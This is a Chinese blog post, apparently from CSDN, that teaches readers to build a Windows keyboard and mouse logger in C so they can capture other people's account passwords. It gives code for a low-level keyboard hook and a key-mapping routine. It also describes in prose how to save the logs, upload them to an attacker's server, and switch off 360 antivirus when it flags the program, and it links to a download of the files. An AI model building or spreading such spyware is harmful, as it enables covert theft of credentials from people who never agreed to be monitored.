黑客神技:键盘鼠标记录器(C语言版)

一、前言

杀毒软件没兴起的时候,很多软件都是不安全的,那时候信息满天飞,盗号非常普遍,其中最有名的就是键盘鼠标记录器了,他通过将用户在电脑上的键盘按键记录下来,从而轻松达到获取个人账户密码的功能,本期我们就来讲讲这个键盘鼠标记录器是如何实现的吧。

二、准备工作

这里我们使用Dev C++来进行代码的编写,它是一个内存占用低且打开快速的一款很好用的开发工具,因为小编电脑配置不高的缘故,因此只能舍弃VS大佬。

三、键盘记录器

通过记录我们在键盘中输入的数据来达到获取密码的目的,我们可以使用钩子来实现,只不过钩子里面的参数是一个回调函数,因此我们先写一个回调函数,如下:

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

//处理内容

}

然后我们记录按下的都是哪些键,如下:

KBDLLHOOKSTRUCT *ks = (KBDLLHOOKSTRUCT *)lParam;

DWORD vkCode = ks->vkCode;

// 监控键盘

switch(vkCode){

case 0x30: case 0x60:

puts(“检测到按键:0\n”);

break;

case 0x31: case 0x61:

puts(“检测到按键:1\n”);

break;

case 0x32: case 0x62:

puts(“检测到按键:2\n”);

break;

case 0x33: case 0x63:

puts(“检测到按键:3\n”);

break;

case 0x34: case 0x64:

puts(“检测到按键:4\n”);

break;

case 0x35: case 0x65:

puts(“检测到按键:5\n”);;

break;

case 0x36: case 0x66:

puts(“检测到按键:6\n”);

break;

case 0x37: case 0x67:

puts(“检测到按键:7\n”);

break;

case 0x38: case 0x68:

puts(“检测到按键:8\n”);

break;

case 0x39: case 0x69:

puts(“检测到按键:9\n”);

break;

case 0x41:

puts(“检测到按键:A\n”);

break;

case 0x42:

puts(“检测到按键:B\n”);

break;

case 0x43:

puts(“检测到按键:C\n”);

break;

case 0x44:

puts(“检测到按键:D\n”);

break;

case 0x45:

puts(“检测到按键:E\n”);

break;

case 0x46:

puts(“检测到按键:F\n”);

break;

case 0x47:

puts(“检测到按键:G\n”);

break;

case 0x48:

puts(“检测到按键:H\n”);

break;

case 0x49:

puts(“检测到按键:I\n”);

break;

case 0x4A:

puts(“检测到按键:J\n”);

break;

case 0x4B:

puts(“检测到按键:K\n”);

break;

case 0x4C:

puts(“检测到按键:L\n”);

break;

case 0x4D:

puts(“检测到按键:M\n”);

break;

case 0x4E:

puts(“检测到按键:N\n”);

break;

case 0x4F:

puts(“检测到按键:O\n”);

break;

case 0x50:

puts(“检测到按键:P\n”);

break;

case 0x51:

puts(“检测到按键:Q\n”);

break;

case 0x52:

puts(“检测到按键:R\n”);

break;

case 0x53:

puts(“检测到按键:S\n”);

break;

case 0x54:

puts(“检测到按键:T\n”);

break;

case 0x55:

puts(“检测到按键:U\n”);

break;

case 0x56:

puts(“检测到按键:V\n”);

break;

case 0x57:

puts(“检测到按键:W\n”);

break;

case 0x58:

puts(“检测到按键:X\n”);

break;

case 0x59:

puts(“检测到按键:Y\n”);

break;

case 0x5A:

puts(“检测到按键:Z\n”);

break;

case 0x0D:

puts(“检测到按键:Enter\n”);

break;

case 0xA0: case 0xA1:

puts(“检测到按键:Shift\n”);

break;

case 0x08:

puts(“检测到按键:BackSpace\n”);

break;

case 0x20:

puts(“检测到按键:Space\n”);

break;

}

紧接着我们需要把回调函数带入到钩子函数中去,如图:

HHOOK hKeyboardHook=SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, 0);

然后使用消息循环,保证系统一直运行,如下:

MSG msg;

while (GetMessage(&msg, NULL, 0, 0)) {

TranslateMessage(&msg);

DispatchMessage(&msg);

}

随后就关闭钩子,如下:

UnhookWindowsHookEx(hKeyboardHook);

最后把按下的键写入到文件中去即可。最后结果,如图:

好家伙,360直接报毒,因此这里我们直接关闭360,免得它老是弹窗影响我们心情。

四、鼠标记录器

原理和键盘记录器差不多,只需要钩子监听鼠标行为即可,不过有一点不同的是,如果你监听了鼠标的移动事件,那么结果输出将会非常普遍,因此我们需要给他做个延时,如图;

这里我只设置10毫秒,延时数据不能太大,不然的话,系统会直接卡死。然后我们就可以编译运行鼠标记录器了,如图:

五、上传键盘鼠标记录文件到服务器

当我们将这两个文件记录下来了之后,我们就可以把这两个文件发送到我们指定的服务器上了,如图:

六、结语

键盘鼠标记录器是一个比较基础的黑客技术,它的原理也很简单,就是通过键盘鼠标钩子,当然,钩子还有很多种用法,而且范围比较广泛,比如进程钩子,他可以用来注入进程。获取文件下载请访问 http://dd.ma/pi0KCCF2 。

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

weixin_30852573

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值